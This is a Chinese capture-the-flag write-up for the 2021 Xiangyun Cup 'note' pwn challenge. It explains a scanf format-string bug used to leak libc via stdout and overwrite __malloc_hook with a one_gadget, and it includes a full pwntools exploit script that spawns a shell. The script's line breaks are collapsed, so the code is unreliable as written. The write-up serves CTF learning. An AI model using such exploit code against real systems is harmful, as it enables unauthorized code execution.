2021 祥云杯 pwn-note

这是一道scanf任意读写的pwn题

漏洞点发生在上图

在第一个图那里下个断点，查看stack时发现%11$p这里有一个stdout，这个给了我们泄露libc的机会，我们可以打stdout的flag和write_ptr，具体的可以看别的师傅对stdout泄露libc分析的文章
拿到libc之后，算出ogg，ogg出来了，可以再利用scanf任意地址写打malloc为ogg。

偏移为7，这里笔者用的ubuntu20.04的2.31libc做的，不需要利用realloc来调整可以直接利用，题目给的libc需要利用realloc来调整一下即可。

from pwn import *context(arch='amd64', os='linux', log_level='debug')file_name = './note'li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')context.terminal = ['tmux','splitw','-h']debug = 0
if debug:r = remote()
else:r = process(file_name)elf = ELF(file_name)def dbg():gdb.attach(r)menu = 'choice:'def add(size, content):r.sendlineafter(menu, '1')r.sendlineafter('size: ', str(size))r.sendafter('content: ', content)def show():r.sendlineafter(menu, '3')def say(note1, note2):r.sendlineafter(menu, '2')r.sendafter('say ? ', note1)r.sendlineafter('? ', note2)p1 = b'%11$s'
p2 = p64(0xfbad1800) + p64(0) * 3
say(p1, p2)_IO_2_1_stdin_ = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('_IO_2_1_stdin_ = ' + hex(_IO_2_1_stdin_))libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = _IO_2_1_stdin_ - libc.sym['_IO_2_1_stdin_']
li('libc_base = ' + hex(libc_base))malloc_hook = libc_base + libc.sym['__malloc_hook']
li('malloc_hook = ' + hex(malloc_hook))realloc_hook = libc_base + libc.sym['__realloc_hook']
li('realloc_hook = ' + hex(realloc_hook))one = [0xe3afe, 0xe3b01, 0xe3b04]
one_gadget = libc_base + one[1]p3 = b'%7$saaaa' + p64(malloc_hook)
p4 = p64(one_gadget)
say(p3, p4)r.sendline('1')r.interactive()

2021 祥云杯 pwn-note相关推荐

2021祥云杯PassWordBox_ProVersion
目录前言: 程序分析大致思路: 利用链: _IO_wfile_overflow _IO_wfile_underflow_mmap: exp: 前言: 复现一下2021祥云杯PassWordBox_ ...
2021 祥云杯 pwn-JigSaw’sCage
2021 祥云杯 pwn-JigSaw'sCage 这道题属实是没有发现漏洞点在哪里,所以看了一下wm的wjh师傅的wp,发现漏洞出现下图 v1是int,但scanf是ld,所以溢出了4个字节,这就导 ...
2021 祥云杯 pwn-PassWordBox_ProVersion
2021 祥云杯 pwn-PassWordBox_ProVersion 这里就没有off by null了,size也只能是large bin的,那肯定就是large bin attack了,libc ...
[2021祥云杯]secrets_of_admin
[2021祥云杯]secrets_of_admin 文章目录 [2021祥云杯]secrets_of_admin 代码分析 /的POST方式 /admin的GET方式 /admin的POST方式 /a ...
2021祥云杯部分pwn
note 格式化字符串本题考查了scanf的格式化字符串利用.一般我们用的都是printf的格式化字符串.这里是scanf 踩坑一开始没有注意到sendline会多发一个换行符,导致往栈上$7的s ...
2021祥云杯部分wp
祥云杯2021 目前只做了两道题(没办法 tcl... MISC-鸣雏恋下载下来是个word,打开只有一句话不太对劲,放到010里看一看发现文件头50 4B 03 04 经典压缩包了,文件后缀改成 ...
2021祥云杯 CTF pwn解 wp
前言:题都不难,我好气,这次被大佬带飞,队里的pwn手都是神级别的,这里出了三道题,如果我不是sha,我应该能出五道,可是我好菜,这里贴出一下 note: 思路:自己构建格式化字符串漏洞,自己打,先打 ...
2021长城杯pwn部分wp
前言: 就, 除了vmpwn都是基础glibc的heap题 king_in_heap_1: delete函数没有把free后的指针置零, 存在uaf, 然后用unsortedbin的fd指向io结构体 ...
2021 长城杯 pwn K1ng_in_h3Ap_I
libc是2.23 菜单 add free 显然是有uaf. edit 就是输入输入函数其实还有off by one. 有个后门我们的思路就是简单的说因为有uaf但是没有show,所以我们就直接攻 ...

2021 祥云杯 pwn-note

2021 祥云杯 pwn-note

2021 祥云杯 pwn-note相关推荐

最新文章

热门文章